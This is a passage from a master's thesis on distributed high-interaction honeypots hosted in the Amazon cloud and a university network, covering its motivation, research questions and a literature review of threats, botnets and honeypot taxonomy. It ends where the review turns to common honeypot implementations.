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Abstract

In recent years, the cyber warfare has gone far longer and wider than it used
to be. Cyber terrorism, government as well as organization backed attacks on
critical facilities and attacks on big financial institutes made Information Se-
curity the pillar of digital systems. With the increase in the penetration level
of computing devices and the rapid proliferation of the cloud for varieties of
services, more attacks are materializing to affect individuals who use the sys-
tems. Dealing with such security issues require a holistic view of the prob-
lem, its causes and the overall effect. An important step towards understand-
ing the problem and its causes is increasing the knowledge base about the
capabilities and interests of the black-hat community. This is made possible
through the usage of honeypots, machines that run with the primary intent of
luring attackers and collecting information about probes and attacks. Honey-
pots/Honeynets have been used in devising early warning systems, identifi-
cation of zero-day vulnerabilities and tracking botnets. Some honeynet imple-
mentations were distributed by design but run low and medium interaction
honeypots which lacks the capability to learn more about attacks and attack-
ers. Those that implement high-interaction honeypots on the other hand were
limited to specific geographical locations. To deal with such limitations, this
research has developed a distributed high interaction honeynet model and im-
plemented the model in the cloud as well as the network of HiOA. Distribut-
ing the honeypots helped in understanding the global level attack landscape.
The results show the dominance of SSH scan related attacks and the different
forms the attacks take on compromised machines. The data analysis has also
lead to tracking of botnets over IRC networks and it was possible to intercept
a handful of malicious servers along with their list of zombies located in dif-
ferent continents. With some enhancements and by running the honeypots for
a longer period of time better result would also be achieved.
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Chapter 1

Introduction

”Furthermore, what the panel perceives as an insufficient national research focus in
such areas as cyber security poses potential real threats to the security of Norway.”

Evaluation report from Forskningsradet

In this chapter the first section explains the motivation for choosing to work on
Honeypots and identify their leverage to contribute to secure digital systems
setup and operations. The problem statement and well formulated research
questions are defined in the second section and the structure of the thesis re-
port is presented in the last section.

1.1 Motivation

The fast evolving innovations in digital technology, from the introduction of
the earliest mainframe machines to the expansion of the Internet and the latest
cloud based solutions or smart phones have not simply enhanced access to
information, but changed the way humans live and work [1]. Though it may
not directly be compared, the IT revolution has unprecedented effect in our
day to day activities as the industrial revolution did to our fathers. The change
in Information and Communication Technology can somehow be described in
a three dimensional model

1. Advancement in the hardware and software technologies [2]

2. Huge impact in enhancing the way humans live [3]

3. A change in the method of human-machine interaction [4]

Before the commercialization of personal computers, computing machines were
so big that programmers had to plug/unplug cables and vacuum tubes as a
means of program instructions. While consuming a power that could have
been used for many tasks for the people of the time [5] , the computers were ca-
pable of performing very specific mathematical calculations. But now a days,
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1.1. MOTIVATION

we hand the computers in the palm or wear them like eye glasses 1 to guide
and help us in most of the tasks we are incapable of doing or need to be more
comfortable with. The market dominating smart phones and pads also gone a
long way towards usability and portability compared to the earliest personal
computers or phones.

The second dimension of the change in technology is its impact which lever-
ages companies, the public sector and even individuals to think of reaching
others using IT as the primary means. One powerful and very usable technol-
ogy in this aspect is the Internet. The Internet is one of the fruits of informa-
tion technology most people are trying to utilize to make life easier[6]. Internet
made information available at our finger tips and availed online a number of
manual services which needed too much human involvement.

The third and last dimension is the method of human-machine interaction. As
mentioned in the previous paragraphs the size, capability and performance of
technological devices is changing in a fascinating way. A person can hold a
pad loaded with thousands of books which most of the libraries in the world
are still striving for. With the emergence of ubiquitous computing, household
objects from shower stalls to coffee pots are reimagined as places where facts
about the world can be gathered and communicated with [7].

The combination of the changes in the above described dimensions put IT in
the center of humans’ day to day activities. This doesn’t however come alone;
it’s accompanied by a serious of potential harms. Each day, exploits, worms,
viruses and buffer overflows severely threaten the IT infrastructure and associ-
ated business assets along with mission critical systems [8] which can possibly
be considered as push factors. If we for instance take web applications - they
automate verities of services in the banking, academic, financial, military and
other sectors. A web presence of any manual service increases its availability,
usability and scale-ability. It at the same time decreases the maintenance and
deployment cost even when compared to automated systems that run offline.
However, if the safety and security of users can’t be well kept, users will start
to restrain from using the web to access such services and this will put the genie
back in the bottle.

Smooth operation of IT systems while maintaining the safety and security of
users requires a lot of work from experts in the field. There have been numer-
ous ways of mitigating with security threats; but so far none has attack proven
itself. Attackers exploit vulnerabilities; take advantage of the vulnerabilities
to affect systems as well as users; exploits get noticed and patches or solutions
are suggested; then it will be time for another attack. The two main pillars
in this hide-and-seek like game are the white hat and the black hat commu-
nities of the online world. And, there exists a third community, ” Gray Hat ,

1http://www.google.com/glass
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1.1. MOTIVATION

which overlaps with both the black and white hat communities. The black hat
community comprises hackers who violate computer security for little reason
beyond maliciousness or for personal gain [9] and those that perform hacking
in an ethical manner are grouped in the white hat community. The motives
behind ethical hackers can be testing software and network for vulnerabilities
and weaknesses.

As mentioned in the previous paragraphs, most sectors are adopting IT and
we believe that the IT sector has to learn from other sectors for the safety
and security of data, users and systems. There is a great need to adopt attack
prevention, mitigation and management strategies from sectors like Forensics,
Criminal Investigation, The Military and so on. Honeypots are one of such so-
lutions that enable the white hat community to know the enemy very well. The
history of ”Honeypots” goes back to the 80’s when Stoll [10] has implemented
a mechanism to catch a hacker by giving more access to the system and pro-
viding documents containing fake nuclear weaponry related information that
the hacker has been looking for from Arpanet and Milnet networks. Although
the original computer system has a vulnerability which Stoll hasn’t knowingly
created, the mechanism he devised to trace the location of the attacker and his
investigation actions can be taken as an implementation of honeypot.

In the book entitled ”Know Your Enemy”, the Honeynet Project contributors
have demonstrated the hole in the knowledge base of security professionals
about the methods, capabilities and tools of their counter parts before the in-
troduction of Honeypots [11]. Honeypots not only provide information about
attackers but also utilize the time and resources of attackers which might have
been used to hack into vulnerable legitimate systems. ”A Honeypot is a net-
work security resource whose value lies in it being scanned, attacked, compro-
mised, controlled and misused by an attacker to achieve his malicious goals”
[8]. Honey pots are claimed as important components in the fight against
cyber-attacks by wasting attackers’ time and getting information for better un-
derstanding of how attacks materialize and reducing spam activity. They can
also provide data that is more informative and helpful than what can be col-
lected by bare IDS [12] [13][14]. In [15], honeypots are described as a preferred
approach than NIDS in minimizing false positive rate at the face of sophisti-
cated attacks.

Honeypots have been used in different research projects to empower existing
intrusion detection and prevention systems for computer as well as sensor net-
works [16] [17]; as a means to dynamically generate snort rules [18]; to analyze
root causes of attacks observed in a network [19]; to identify attack signatures
[20] and learn about old and new worms and bots [21]. By using a Carding
Forum honeypot website [22], the FBI has prevented an estimated potential
economic loss of more than $205 million, identified over 411,000 compromised
credit and debit cards and network breaches of 47 companies, government en-
tities, and educational institutes. Given such huge and yet fully unexploited
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1.1. MOTIVATION

potential of Honeypots and the recurrence of attack incidents in a polymorphic
manner, more work needs to be done in this area. Despite the completion of
the above mentioned research works, quite a big portion focus on HoneyNet
implementation at a local area network level. There has been some verities
like the DarkNET that utilizes unassigned IPv4 addresses to be used as decoy
machines and the HoneyPharm. One draw back with such implementations is
they use low interaction honeypots, that suffer from two major problems:

• Can easily be detected of their lack of real interaction

• Focus on specific domains to minimize the attack categories that can pos-
sibly be intercepted by the honeypots

To address such issues, this research work explores on the implementation of
Distributed High-Interaction Honeypots using virtual machines. In the high
interaction honeypots it’s possible to induce vulnerabilities of different types,
to track various attacks. This research focuses on web application and SSH
scan related attacks as recent trends show an increase in the volume of web
application attacks[23][24][25]. Reference [25] has also pointed out the timely
need to work on vulnerabilities incurred due to human issues. Such human
issues that affect systems’ state of security include vulnerabilities related to
passwords and dealing with SSH scans can help in addressing the problem.
The reason behind using VMs is their dominance and becoming defacto mech-

anisms for state of the art computer system design by freeing administrators
and users from traditional interface and resource constraints; VMs also en-
hance system impregnability and platform versatility [26]. From the common
advantages of virtualization the following two make VMs the perfect candi-
dates to implement honeypots -

1. It is possible to deploy many honeypots on a single host to increase the
probability of getting more information while using less resource.

2. If any of the virtual honeypots is compromised and we no longer want
to run it, it’s easy to replace with a new virtual honeypot.

Out of existing virtualization platforms reference [27] identified XEN, KVM
and VMWare as the three leading ones. Due to the fact that part of the exper-
iment in this thesis will be done on Amazon EC2 instances which are running
on XEN platform, we have chosen XEN as the virtualization platform for the
entire project. This will create a common working environment in all exper-
imental setups and avoids additional tasks that might arise due to platform
variations.

There are two experimental setups in this research - a distributed honeynet
setup with a central server inside HiOA and remote honeypots hosted on
different locations of the Amazon Cloud Infrastructure. And having the dis-
tributed honeynet as an umbrella, there is a local one local the first is a local
honeynet setup having all the resources within the HiOA network. Setting up
the local honeynet setup has two advantages -

11
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• It will be a full fledged honeynet to address the identified research prob-
lems

• It will be a flexible and self controlled environment to practice with the
tools and techniques in the honeynet technology so that to facilitate the
honeynet setup in the Amazon Cloud, which might not give the same
level of flexibility

The distributed honeynet setup is a master piece experimental design from
various angles. The honeypots will be hosted in the cloud with a geographical
coverage spanning 5 continents. This provides a rich pull of IP address spaces
that can represent different classes and locations. One can have a global view
of the attack landscape and some sort of early warning systems might be found
feasible if any relationship between attack attempts and the various location
based characteristics like time-difference and other related parameters. The
establishment of the honeynet on the cloud has also its own advantage to the
cloud technology; which requires duo consideration of security issues. Cloud
computing is the long-held dream of computing as a utility and it’s claimed for
its potential to transform a large part of the IT industry, making software even
more attractive as a service and shaping the way IT hardware is designed and
purchased [28]. Such advantages have the possibility to attract the black-hat
community to leverage its dominance and wide usage, for the sake of their ma-
licious intent. Taking this facts as a base experiment on a distributed honeynet
is found to be viable and opens a venue for more related work. The informa-
tion collected from both setups is used to address the research problems listed
in section 1.2.

1.2 Problem Statement

How can Honeypots be implemented to effectively elicit information about at-
tackers and how the collected information can be used to strengthen the safety
and security of systems.

1. What are the similarities and difference between regional and global at-
tacks or attack attempts?

2. What kind of honeypot setup will be effective enough to get reasonable
amount of information about attackers and their attack mechanisms?

3. What are the design and implementation trade-offs in the different se-
tups?

4. What data items shall be collected and how?

5. How to efficiently and effectively utilize the collected data for the sake
of maximizing Information Security?

12



1.3. THESIS STRUCTURE

1.3 Thesis Structure

The layout of this thesis is as follows: chapter 2 discusses the background for
the research work and state of the art in the area. Chapter 3 gives a detailed
explanation of the research methodology and experimental setup which is fol-
lowed by the the results of the experiment presented in Chapter 4. A detailed
analysis of the results is shown in Chapter 5. Chapter 6 presents a discus-
sion about the overall thesis work, the results found and identifies if there are
any gaps. Last comes the Conclusion and Future work chapter that presents
concluding remarks of the thesis work and suggests some insights for Future
related research works. Also a reference list and appendices comprising im-
portant configuration files, scripts and log file extracts found at the end of the
document.
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Chapter 2

Background and Literature
Review

”Our mysterious visitor laid an egg-program into our computer, letting the system
hatch it and fetch his privileges.” From the book - The Cuckoo’s Egg: Tracking a

Spy Through the Maze of Computer Espionage by Cliff Stoll

This section discusses the background of the thesis area in detail followed by
ongoing and accomplished state of the art research works in relation to usage
of honeypots towards safe and secure digital system infrastructures. These
involve a thorough analysis of the honeynet technology to have a clear view of
the big picture and understanding the internal details. As there exist different
honeynet setups and quite large number of related tools, selection from the
options critically require understanding the pros and cons of the options to
the extent possible, which is addressed in this section.

2.1 Extended Background

2.1.1 Threats, Exploits and Vulnerabilities

The terms threats, exploits and vulnerabilities are commonly used by people in
the field of information security. Clear understanding of these concepts paves
the way towards the design and implementation of better security solutions.
The mare presence of any one of these in a system doesn’t necessarily mean,
the system is compromised or attacked. Their co-existence however will make
a day for anyone with a negative intention towards the system. In [29] iden-
tification of real threats is suggested as a requirement to ensure build up of a
secure systems. It’s also a requirement to know related assumptions and trust
which lead to the threats and the degree to which they may be realized.

Threat is a presence of violation that can have an undesirable effect on the
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2.1. EXTENDED BACKGROUND

system assets or resources. It’s a danger that can lead to undesirable conse-
quences. Matt Bishop, in his book entitled Computer Security Art and Science
[29], pointed out that in building a secure or trusted system, it’s a mistake
to assume that threats to a system are obvious or well-defined. To the seri-
ousness and sometimes sporadic nature of threats, the Common Criteria (CC)
thoroughly defined security threat identification and development of security
requirements to mitigate the threat[30]. Security threats are breaches of confi-
dentiality, disruptions of integrity, or denials of service. It is important to refine
these threats in relation to the specific system and the environment in which it
must operate. A threat can be internal or external. Threats can also come from

human errors or from acts of God [29] which makes it difficult for security
system designers to rest assured with their systems. On the other hand refer-
ence [31] classified threats as internal, external, structured and unstructured.
Internal threats usually arise from authorized persons and internal computer
systems of an organization. External threats are potential sources or causes
of attacks outside a system and with an intentional interest or accidental en-
counter to the resources of the system. A disgruntled system administrator in
an organization, with customers’ personal data, can be one possible example
of internal threat if the employee think of abusing his authority to use the data
for her own advantage. An attacker who tries to disrupt the normal opera-
tion of a system by DoS or other attacks is an external threat. Depending on

the possible threat a system might face, one need to develop different lines of
defense. A well configured firewall can’t protect most attacks that arise from
insiders except that a log of the firewall leads to traces of the attacker. This will
help for post-incident analysis in reactive security approach. But some attacks
have irrecoverable damage on systems and it’s necessary to identify possible
threats of the system under consideration to avoid such loss. One model that
contains categories of dominant threats and their potential consequences is de-
veloped by and as shown in figure 2.1 the consequences of the threats likely
give understanding of the threats.

Figure 2.1: A model showing main threat categories and their consequences
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2.1. EXTENDED BACKGROUND

In [29] a vulnerability is defined as a weakness that makes it possible for a
threat to occur. The Common Vulnerabilities and Exposures (CVE), which is
dictionary of publicly known information security vulnerabilities and expo-
sures, Vulnerability is defined as ”a mistake in software that can be directly
used by a hacker to gain access to a system or network”. For CVE, a vulnera-
bility is a state in a computing system (or set of systems) that either [24] :

• allows an attacker to execute commands as another user

• allows an attacker to access data that is contrary to the specified access
restrictions for that data

• allows an attacker to pose as another entity

• allows an attacker to conduct a denial of service

The Open Web Application Security Project (OWASP) on the other hand de-
fines vulnerability as a hole or a weakness in the application, which can be a
design flaw or an implementation bug, that allows an attacker to cause harm
to the stakeholders of an application. Stakeholders include the application
owner, application users, and other entities that rely on the application [23].
The definitions by both OWASP and CVE both focus on software vulnerabil-
ities. We argue that the hardware or network components of the system are
also likely to fall under such weaknesses and problems which will make a vul-
nerability in a computer system to arise from a number of factors -

• Software Problems

• Network Configuration Problems

• System Deployment Problems

• End-User Related Problems

CVE considers a mistake as a vulnerability if it allows an attacker to use it
to violate a reasonable security policy for that system (this excludes entirely
”open” security policies in which all users are trusted, or where there is no
consideration of risk to the system) [24]. It’s true that unless a vulnerability is
exploited it won’t cause any problem on a system that holds it. For instance
a user may have a weak password to a system which is considered as a vul-
nerability to the system and the system stays safe as long as the fact about the
weakness of that user’s password is not exploited. When it’s exploited, the
vulnerability will let perpetrators get access to the system and do tasks which
the user is authorized for. The same holds true for other vulnerabilities like a
weakness in a software, weak security mechanism used to secure a network
(as seen in Wired Equivalence Privacy or WEP) or any security weakness in
the entire computer system.

Exploit is what makes a vulnerability’s existence known to others. An exploit
can be a piece of code or sequence of system management and operational
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2.1. EXTENDED BACKGROUND

commands that can be used to know or identify specific vulnerabilities on a
system. Exploits have two extremely opposite effects on a computer system
and its owners. The positive side is, the good guys try every possible orches-
tration of exploits to ensure a system is safer and secure at any point in time
than its earlier state. The identification of exploits in this manner gives grace-
ful time for system owners and designers to fix identified problems and weak-
nesses. Such exploit build up has also created a business model that enables
exploit hunters to make money for their hard work and brings reputations in
their professional profile. The other extreme, is a similar process done by the
bad guys trying to take advantage of a systems weakness for their own stealth
activity. As a system administrator or security engineer there lies the track to
be the first one to know ones own system along with all its weaknesses and
vulnerabilities.

Having these three important and interrelated matters in mind, designing Se-
curity solutions shall start from identification of threats and the counter mea-
sures to mitigate with them. Then continually building security into the soft
and hard part of the system, to minimize the chance of presence of vulnerabili-
ties. These are still not enough and a close follow up of the system’s operation
in its life-time and building and deployment of patches must be part of the
system management strategy. Security policies and due consideration of the
operating environment of the system shall also be part of designing a better
security solution.

2.1.2 Attackers and Botnets

The vulnerabilities and threats that are discussed in section 2.1.1 become the
focus in digital systems because of attackers who exploit vulnerabilities and
pose threats on systems. The main arsenals of attackers in today’s Internet
are Bots, also referred as Zombie or Drones. A bot is a small program that
provides a remote control mechanism to command the victim so that attack-
ers can issue arbitrary commands and control the victim’s computer system
[32]. Attackers can distribute bots as a malware or bypassing authentication
mechanisms in place using different types of attacks on passwords like dic-
tionary based or brute force attacks. Attackers use reconnaissance (Recon) as
a mechanism learn information about ones network. Reconnaissance is the
unauthorized discovery and mapping of systems, services, or vulnerabilities
[33]. In reconnaissance attacks, the malicious intruder typically conducts a
ping sweep of the target network to determine which IP addresses are alive.
Then the intruder determines which services or ports are active on the live IP
addresses. From this information, the intruder queries the ports to determine
the type and version of the application and operating system running on the
target host.
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Once attackers gain access to a machine, they can automatically start manip-
ulating the privileges of the compromised machine or wait until they get all
the required resources and of course a potential victim. This way they can
build a network of victim machines that are ready to accept commands from
the attacker and the network of compromised machines is named Botnet. The
means of communication can be in a Command and Control (C&C) or Peer-to-
Peer (P2P) manner.

In the past the main purpose of building botnets was to materialize Distributed
Denial of Service (DDoS) attacks [32]. These days however, the motives and
identities of attackers are usually as complicated as the methods they use to
compromise systems and the same holds true with the botnets they build. A
recent bot attack on per click advertisers is a particular living example whose
source still not identified at the time of this writing. The bot is named Chameleon
and has 120,000 home PCs as its members costs advertisers $6m (3.9m) per
month [34]. The botnet is discovered by the British web analytics firm Spider.io
which claimed the detection of upto nine billion false ad views every month
on adverts on over 200 sites. The business model of pay per click adverts in-
volve web sites hosting adverts, companies with ads to be posted on websites
and advertising networks that act as middlemen between website owners and
advertisers. Every time a visitor to a website clicks on an ad, the advertising
network records that and claim payment from advertisers to the network and
the websites. In the case of Chameleon botnet, both the network and website
owners get money for pseudo-clicks generated by malware residing on users’
PCs. It made advertisers pay for ads that are not viewed by people. As the ex-
perts in Spider.io described one can’t be precisely sure who owns Chameleon
as there are a number of financially motivated parties. When it comes to ac-
countability, it’s still not clear who should have avoided the occurrence of such
attacks. Users with their PCs turned into click bots, advertising web sites who
received the clicks and get it approved by the advertising network or adver-
tisers who could have implemented a mechanism to detect false clicks when
they are asked for payments.

Reference [35] described the networks of malware-infected machines that are
controlled by an adversary, as the root cause of a large number of security
problems on the Internet. Due to involvement of multiple parties it’s usu-
ally difficult to block the generation and distribution of botnets. Attackers
implement different Command and Control (C&C) mechanisms to communi-
cate and deploy bots for their purpose. To coordinate the bots, attackers imple-
ment different mechanisms like communicating worms that isolate themselves
in small groups to limit the impact of an infected machine being discovered,
operating botnets in a tree-like structure, and a super-botnet structure with
a random graph botnet. A super-botnets communication structure can also
be formed through random graph and opportunistic data exchanges between
individual botnets that occur during redundant infection attempts [35].
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Internet Relay Chat (IRC) is a major communication protocol that enables text
based communication like chat sessions and exchange of files and remote com-
mands. This capability opens a venue for attackers to communicate with com-
promised machines and run their bots. IRC communication is a commonly
used mechanism to send commands to compromised machines and even to
make DNS request to a domain under the adversary’s control [36]. The pos-
sibility of running commands remotely enables attackers to populate ircbots
and use them to materialize their attack plans at some point. This possibility
has two advantages for the attackers, first they can build a tremendous hard-
ware and software resource for attacks like Distributed Denial of Service or bit
coin mining, as the recent trends show. The other advantage is, the innocent
ircbots can be used as a middle man between the attacker machine and the
victim, to make the attackers anonymous and undetectable to the other end.
This may even have legal consequences for the owners of the ircbot, unless
there is strong reason to prove their innocence. To avoid detection, attackers

can use protocols other than IRC and it’s wise to thoroughly check the network
communication traffic. The detection of botnets with a very high size has also
become easier and the trend towards smaller botnets may be more dangerous
than large botnets [36]. Although big botnets like those involving upto 1.5 mil-
lion compromised computers [19] have been big news, for attackers they end
up bad from the standpoint of survivability; someone is likely to notice a big
botnet and take steps to dismantle it. The recent trend is toward smaller bot-
nets with only several hundred to several thousand zombies[5] and a small to
medium sized botnet shall be taken as eminent risk.

The above properties of attacks and botnets complicate the matter and make it
difficult to devise good security solutions. Given the complexity of attackers
and their mechanisms, looking at the consequences of their actions is one way
for better understanding. The model in 2.1 and categories of attacks listed in
[37] are some good examples that Security mechanisms shall consider so that
recurrence of security incidents can be minimized.

2.1.3 Security Mechanisms

A security mechanism is a method, tool, or procedure for enforcing a security
policy which is a statement of what is, and what is not, allowed [29]. Preven-
tion, detection and recovery are the strategies identified by [29] to implement
security mechanisms. Broader approaches to implement security mechanisms
can be preventive approaches and reactive approaches. Preventive approaches
focus on blocking systems from attacks by devising policies and strategies that
can potentially be appropriate for threats with higher probability of occurrence
in the system. Due to uncertainties in systems and presence of probability, at-
tackers can still by-pass existing walls and do damage on systems. Preventive
approach then has to be accompanied by reactive actions to fix the damage on
systems and further strengthen the prevention mechanism for future similar
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or related attacks not to materialize. When dealing with security mechanisms,

there always are two communities of people with a conflict of interest; namely
- the black hat community and the white hat community. The black hat com-
munity members are commonly referred as hackers, script kiddies or crackers
depending on their level of expertise and the resource they utilize to meet their
goals. Although they are motivated by a varieties of factors from personal
character or love of fun to government initiated political decisions, one thing
they have in common is attacking systems which can be by passing defense,
access misuse or failing access control mechanisms of systems. Contrary to

attackers, the white hat community has the responsibility of keeping the nor-
mal operation of systems and preventing resources from being misused. Two
major considerations -

1. There is a need to thwart attacks to the highest level possible

2. There is a need to know the enemy

The white hat community needs to setup a maximum protection level for a
system but there is an issue of budget from the management. As described
in [38] the economics of information security investment is usually debatable
and there is a need to trade-off some security mechanisms for the sake of sav-
ing money. This usually creates a hole in the solutions suggested to block
attacks. In order to make the most out of the trade-off, one needs to identify
the risks with highest probability of occurrence and with serious damage to a
system. To quantify these issues, the white hat community has to know the
enemy very well. According to a computer crime and security survey done by
the Computer Security Institute, in the year 2008 a loss of more than 42 million
dollars was registered by 144 organizations because of cyber attacks. While a
survey of 521 companies that includes those 144 attacked companies, shows
97% have antivirus software, 94% have firewall setup and 69% have IDS in
place [39]. In contrary to that, a number of researches has shown that honey-
pots are an important and effective solutions to deal with the usually uncertain
attack occurrences and a means to reveal more information about the usually
black-coated attackers. Section 2.1.4 in detail discusses the characteristics, im-
portance and implementations of honeypots.

2.1.4 Honeynets/Honeypots

The availability of statistical data and analyses of attackers behavior is fun-
damental for better evaluations of security systems and further strengthening
solutions. Quite high number of researches have identified Honeypots as im-
portant source of information to get such statistical data and know about at-
tackers’ behavior [40][8][41]. Honeypots have demonstrated immense value in
Internet security [32] and now a days they are applied from Botnet tracking to
Intrusion detection systems. Honeypots dominance came with the decreasing
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value of Network Intrusion Detection Systems (NIDS) that suffer from high
false positive rate at the face of sophisticated attacks[15]. To the capabilities of
honeypots, there has even been deployment of an intrusion detection frame-
work for sensor networks using honeypot and swarm intelligence . [16].

Honeynets and honeypots are interchangeably used terms to refer to a system
that comprises one or more computers deployed with varieties of vulnerabili-
ties with the intent of attracting attackers to facilitate the observation of attacks
and intrusions. In the Book ”Virtual Honeypots” by Niels Provos et al. [32]
honeypots are defined as - ”A closely monitored computing resource that we want
to be probed, attacked or compromised and whose value lies in unauthorized or illicit
use of that resource” In spite of the fact that one run the risk of losing control
of the machines, honeypots are a rich pool of experimental and learning envi-
ronments in which one can gain more information about state of the art attack
incidents and attack agents. Honeynets are network of honeypots walled from
the outside by a Honeywall machine, which is a physical machine that is in-
stalled with Honeywall Roo software, which is a stack of honeypot tools and
an OS platform, that intercepts, analyzes and logs required network traffic and
control attackers from executing some actions using compromised honeypots
as attack agents or bots [11]. Reference [8] defines Honeynet as a special kind
of high-interaction Honeypot that extends the concept of a single Honeypot to
a highly controlled network of Honeypots. The architecture is normally con-
figured in a way to achieve, Data Control, Data Capture and Data Collection.

The history of honeypots goes back to the time Stoll [10] has implemented a
mechanism to catch a hacker with code name ”Hunter”. Stoll has detected
traces of an attacker trying to get nuclear weaponry related information from
the Arpanet and Milnet, research and military computer networks using hacked
Berkeley Laboratory computer. In order to track the location of the attackers,
Stoll prepared a very large document with knowingly induced nuclear related
texts. The attacker then tried to download that file which took him time long
enough to have his physical location traced and reportedly get arrested by the
FBI. Although the original computer system has a vulnerability which Stoll
hasn’t knowingly created, the mechanism he devised to trace the location of
the attacker and his investigation actions can be taken as an implementation
of honeypot.

In [42] honeypots are described as a security resource whose value lies in being
probed, attacked, or compromised. This implies a better utilization of hoeny-
pots potential can be attained by loosening the security mechanisms imple-
mented in them. However like any innocent member of a botnet, the honey-
pots can end as an arsenal to attackers and we argue that there must be a close
control over what is going on in the system and what possible risks one might
face. As described in the book ”Know You Enemy” honeypots are the princi-
pal mechanisms that compromise the usual risk free functioning of attackers.
We believe that knowing the enemy should start from the design stage of the
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honeynets until the end of their life time to get the best out of them. Wait-
ing for some period of time and start to analyze the collected data is usually
not practical because of the huge volume of data collected by the honeynets,
which makes data analysis usually difficult, and attackers might implement
some sort of cleaning procedures to hide their fingerprints. A close follow up
of honeynets helps to mitigate these risks and enable getting on the spot in-
formation which is easier to analyze. There will also be a possibility to get the
attackers’ tools before the cleaning, which attackers usually do to avoid their
traces.

Honeypots are also suggested as a promising approach in identifying and lo-
calizing insider incidents [37]. Honeypots have been used successfully to ad-
dress insider threats as they impose minimal requirements to access data and
will be more tailored to insider threat identification if they are designed in such
a way that they confound sophisticated adversary who is aware that honey-
pots are being used. At a minimum, these decoys will have to be indistin-
guishable from machines containing legitimate sensitive information. Even in
the cases in which an insider is aware of the presence of decoys, they act as
a deterrent because the adversary has to take the extra task of identifying the
exact honeypot from the legitimate machines and eliminating her traces from
captured data.

2.1.4.1 Taxonomy of Honeypots

This section discusses the basic Taxonomy of honeypots and the commonly
used honeypot classification schemes. The section focuses on Server side hon-
eypots which have a different implementation intent and deployment strategy
from client side honeypots. There is a detailed description of server side hon-
eypots as the thesis work focuses on that and a brief description of client hon-
eypots is shown in section 2.1.6. Taxonomy is necessary to create a common

vocabulary and semantics behind a domain that can create common vocab-
ulary among stakeholders. is necessary to create a common vocabulary and
semantics behind a domain to create common understanding among stake-
holders. Taxonomy facilitates the development of frameworks in any area of
study, which eases the tasks of professionals in the area by clearly defining
what has been done and what needs to be explored more [43] [44]. The re-
search work by Lindqvist et al and Krsul [43] sets six classes in the classifica-
tion scheme namely : interaction level, data capture, containment, distribution
appearance, communication interface, and role in a multi-tier architecture. The
survey in the area, has shown the characterization of honeypots by [43] is a ba-
sis for most of the classifications as well as scientific explanation of honeynets
and honeypots. One has to take into consideration that there are also out of
the box or very special implementation of honeypot technology like the one
shown in [16]. Sensor networks use tiny machines that are connected with a
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wireless network and both the type of network and resource constraints hin-
der the type of security mechanisms that can be applied on sensor networks.
The research [16] demonstrates an implementation of Swarm Intelligence (SI)
technique from game theory coupled with honeypots. With this mechanism
there are genuine sensor nodes and some honey nodes that have no real im-
portance in the sensor network implementation but tracking attacks. Any traf-
fic to the honey nodes is considered as a malicious one and be reported to the
central database with the details of the initiator; that way it will be possible
to do some measures on the initiating nodes. Although such unique imple-
mentation of honeypots are available, focusing on the dominant ones is a wise
decision and the common classification schemes are presented in this paper.

Physical and Virtual Honeypots

From the commonly used classification schemes, one way is based on the plat-
form the honeypots reside on -

1. Physical Honeypots: which use a physical hardware for deployment
which is prohibitively complex, time consuming and expensive [32].

2. Virtual Honeypots: which use virtual machines for deployment to make
it easy, scalable, less demanding with respect to time and resource and
more manageable [8][32].

High, Medium and Low Interaction Honeypots

Another very popular classification scheme is based on the interaction level of
honeypots with attackers. As honeypots have no production value, any con-
nection attempt to a honeypots is considered as malicious and there must be
some way of handling all connection requests so that to gain more informa-
tion about attackers and their attack mechanisms. According to their level of
interaction, honeypots are classified as -

1. High-Interaction Honeypots

2. Low-Interaction Honeypots

3. Hybrid Systems

High-Interaction honeypots run real services, OS’s or applications [32] which
are harder to deploy and at the same time harder to detect that they are de-
coys. Although they can capture huge amount of and valuable data sets, they
are risky because the attackers can user the running services for their malicious
activities. In such deployments, close follow up and controlling mechanisms
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must be in place. The low interaction honeypots on the other hand emulate
very basic services in a sandbox environment [8] and expose limited vulnera-
bilities to make them less risky. However, they lack the sense of real machine to
be detectable by average attackers and may be script kiddies. This in turn de-
creases their value as an honeypot. The first two honeypot types have big gap
between them with respect to their characteristics. When the low-interaction
honeypots are not powerful enough and the high interaction honeypots are
too expensive, hybrid honeypots come into picture [32]. There are a number
of honeypots that have noticeable properties from the former two categories
or none and such honeypots can be taken as hybrid type.

Depending on the type and amount of data one needs, can man select from
these three honeypot implementation types. As mentioned in the previous
paragraph, in the case of High-interaction honeypots, there must be close fol-
low up and some sort of controlling mechanism to block attacks originating
from the honeypots and logging of traffic flowing in and out of the network.
One possible option for that is implementation of a bridge as shown in figure
3.3 . This implementation is ideal for logging traffic that goes in and out of
the honeynet and it’s transparent to attackers in the sense that it creates the
impression of non existence and there will not be any pieces of information
within the honeynet that makes attackers suspicious of logging. However,
this doesn’t block possible attacks originating from the honeypots if they are
used as bots for attackers. A comprehensive mechanism capable of logging
as well as blocking or limiting attacks from the honeypots is suggested by the
Honeynet project which is named ”The Honeywall” [45]. The honeywall can
be taken as an enhanced bridge with -

• a better capability in access control and logging

• additional management interface with remote management capability

• web-based interface to view captured data

• APIs to integrate with tools like Snort and Argos

The honeynet project is a collaboration among experts in the field of informa-
tion security that organize conferences on honeypots and run projects related
to the development, deployment and implementation of tools and techniques
to build better honeynets. In its serious of Know Your Tools projects one can
get a number of open source tools that enable quite demanding tasks in the
deployment of honeypots as well as analysis of data captured from logging
tools. The honeywall is one of the fruits of this group and has shown in its
architecture in figure it walls the entire honeynet from the outside world. De-
pending on the needs of the person deploying the honeynet, its internal work-
ing procedures are highly configurable and can increase or decrease the level
of honeywall detection depending on the level of protection one needs from
the honeywall.
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Research and Production Honeypots

Yet another classification of honeypots is Research and Production Honeypots
that differ in the ultimate aim of deploying the honeypots and the form they
take. Production honeypots that emulate operating systems or services and
are generally used by commercial organizations as a defensive or preventative
measure; and research honeypots that research institutions employ to capture
in-depth information about attackers and their methods so that countermea-
sures can be devised [46]. Production honeypots, the less risky of the two, can
block or slow down worms and other automated threats, or deceive human
attackers by feeding them false data. Unlike production honeypots, research
honeypots use genuine operating systems and services that are designed to
be hacked. Basically, honeypots are decoys with no genuine service running
on them and any sort of communication with the honeypots can be taken as
malicious. In production environments, one can diverge the focus of attack-
ers from the the working machines to the honeypots and can also easily track
abuse cases so that to use techniques like IP blacklisting with minimum false
positives. In the case of research honeypots, the intent is purely to track attack-
ers one must give a good play ground and wider window of time for attackers
that succeeded to gain access to the honeypots.

2.1.4.2 Common Honeypot Implementations

Section 2.1.4.1 presented a detailed explanation of the different varieties of
honeypots that are in use. The taxonomy classifies honeypots based on a num-
ber of criteria and when it comes to implementations, so far there have been
a number of tools developed by the research community and the industry.
